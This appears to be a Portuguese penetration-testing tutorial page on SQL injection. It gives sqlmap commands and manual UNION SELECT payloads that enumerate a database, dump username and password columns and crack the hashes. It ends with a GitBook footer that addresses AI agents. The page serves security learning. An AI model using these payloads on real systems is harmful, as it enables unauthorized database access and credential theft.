> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).

# Injeção SQL com SQLMap e teste manual

{% hint style="info" %}
Um **injeção SQL** é uma vulnerabilidade de segurança em aplicativos web que ocorre quando consultas SQL maliciosas são inseridas em campos de entrada para manipular um banco de dados subjacente. Isso permite que um invasor acesse, modifique ou filtre dados não autorizados. Ferramentas como o SQLMap automatizam esse processo ao identificar e explorar essas vulnerabilidades, realizando injeções SQL de maneira automatizada. Alternativamente, invasores também podem realizar ataques de injeção SQL manualmente, manipulando entradas diretamente para obter acesso não autorizado ao banco de dados.
{% endhint %}

## Injeção SQL automatizada (SQLMap)

1. Vamos interceptar uma solicitação de pesquisa com o Burp Suite:

<figure><img src="/files/8b9eab0ad8967d84ac492ac1cfd17d9434bffbc5" alt=""><figcaption></figcaption></figure>

2. Vamos salvar esta solicitação em um arquivo que vamos chamar de **request.req**:

<figure><img src="/files/027bfe3eb6e3e99298be8c3ac5b28e193d1537d5" alt="" width="563"><figcaption></figcaption></figure>

3. O arquivo contém o seguinte **conteúdo**:

<figure><img src="/files/21aa2ceb588cfd1a228cf9e7a6ea40c7a068f045" alt="" width="563"><figcaption></figcaption></figure>

4. Com a **SQLMap** ferramenta, vamos executar o seguinte comando para ver se este site é **vulnerável** a um **ataque SQL**:

```bash
sqlmap -r request.req  -p searchitem --batch  
```

<figure><img src="/files/f07d529c6cc6ca82b95e9592cb06b43377312da3" alt=""><figcaption></figcaption></figure>

5. Com este comando, vamos listar todos os **bancos de dados**:

```bash
sqlmap -r request.req  -p searchitem --batch --dbs
```

<figure><img src="/files/aca7d35c885b70359a4699301f97454c60e1ada0" alt="" width="563"><figcaption></figcaption></figure>

6. Com este comando, vamos listar todos os **tabelas** de um banco de dados específico:

```bash
sqlmap -r request.req  -p searchitem --batch -D "database_name" --tables
```

<figure><img src="/files/461cf3ed9f2c26f77f45a8a7b29f5e10b61b4e5a" alt="" width="563"><figcaption></figcaption></figure>

7. Com este comando, vamos listar todos os **colunas** de uma tabela específica:

```bash
sqlmap -r request.req  -p searchitem --batch -T "table_name" --columns
```

<figure><img src="/files/d59675402636fbf3049bca5511b516583ef57edd" alt=""><figcaption></figcaption></figure>

8. Com este comando, vamos visualizar o **conteúdo** conteúdo das colunas:

```bash
sqlmap -r request.req  -p searchitem --batch -T users -C username,password --dump
```

*Se a ferramenta encontrar senhas criptografadas, ela as descriptografa automaticamente*:

<figure><img src="/files/e1ad49736918379f294f9057ebd11833f822c9a7" alt="" width="563"><figcaption></figcaption></figure>

***

## Injeção SQL manual

1. Vamos interceptar uma solicitação de pesquisa com o Burp Suite:

<figure><img src="/files/8b9eab0ad8967d84ac492ac1cfd17d9434bffbc5" alt=""><figcaption></figcaption></figure>

2. Envie esta solicitação para **Repeater**:
3. No **searchitem** campo de pesquisa, adicione isto:

```bash
test' order by 100-- -
```

4. O servidor web nos informa que há **não tantas colunas**:

<figure><img src="/files/ac7e502b6259f9ba70d7f8ad2360f9d5e0072c36" alt="" width="563"><figcaption></figcaption></figure>

5. Vamos tentar **até não sobrar mais nada** (neste caso, há 5 colunas):

<figure><img src="/files/fa1a08812d0f3fcf1dbed9487e4d91dcf1a427e4" alt="" width="563"><figcaption></figcaption></figure>

6. Agora sabemos que há **5 colunas**, agora com a **union** função, vamos **visualizar** elas:

```arduino
test' union select 1,2,3,4,5-- -
```

<figure><img src="/files/afddbb831db1c02dd21fd832184e45a4630e1f7d" alt="" width="563"><figcaption></figcaption></figure>

* No caso de **alterar o nome** da 3ª coluna, por exemplo "test", ele **também mudará**:

<figure><img src="/files/39d179e660720ad449d418462b8fe48b73b1ec8a" alt="" width="563"><figcaption></figcaption></figure>

7. Isso significa que, se introduzirmos a **database()**  ou **user()** função, o **nome do banco de dados** ou o **nome de usuário que executa o banco de dados** será exibido:

<figure><img src="/files/2b78c9e1f5fdf409d3c9f7eee24818cc84ae4c9e" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/f6ec4d88fd9772f8d798c712fdb08cadccf30946" alt="" width="563"><figcaption></figcaption></figure>

**ABAIXO ESTÁ O PROCEDIMENTO PARA LISTAGEM MANUAL:**

1. Vamos listar todos os **bancos de dados**:

```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```

<figure><img src="/files/c65c1f444491b4381be1901dbc5cd5d59167c4cd" alt=""><figcaption></figcaption></figure>

2. Vamos listar todas as **tabelas** de um banco de dados específico:

```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```

<figure><img src="/files/17d3b83714183c666aac7f865a9fd8165d5c8e4c" alt=""><figcaption></figcaption></figure>

3. Vamos listar todas as **colunas** de uma tabela específica:

```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```

<figure><img src="/files/ed09b69c60bc3e05228dd7cdd57a62797c54901d" alt=""><figcaption></figcaption></figure>

4. Vamos visualizar o **conteúdo das colunas username e password** (neste caso, usamos as colunas "product name" e "product type"):

```arduino
test' union select 1,username,password,4,5 from users-- -
```

<figure><img src="/files/9788cb3d2fbda671040a5e2cb45a840906d78157" alt=""><figcaption></figcaption></figure>

* Vamos listar os **conteúdo das colunas username e password** novamente:

```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```

<figure><img src="/files/b4ceb457d78f3cb38025599cf1de49682b9006e5" alt=""><figcaption></figcaption></figure>

5. **Vamos copiar o conteúdo** para a seção Pretty do Burp Suite:

<div data-full-width="true"><figure><img src="/files/3123dc5f26955f06c1c206c9a69892061dfe6e71" alt=""><figcaption></figcaption></figure></div>

6. Vamos abrir o **Nvim** editor de texto e colar o texto copiado, depois usar este comando para formatá-lo corretamente: `:%s/,//r/g`
7. Com este comando, vamos manter apenas os hashes e copiá-los para a **área de transferência**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`

<figure><img src="/files/a3d2ae06cbc58005d25b6121104a93b721eef6eb" alt="" width="563"><figcaption></figcaption></figure>

8. Por fim, com o [Hashes.com](https://hashes.com/en/decrypt/hash) site, obtenha as senhas em **texto simples**:

<figure><img src="/files/f3a71225f4a56218862cafe6b4aa6c6ed368b73a" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
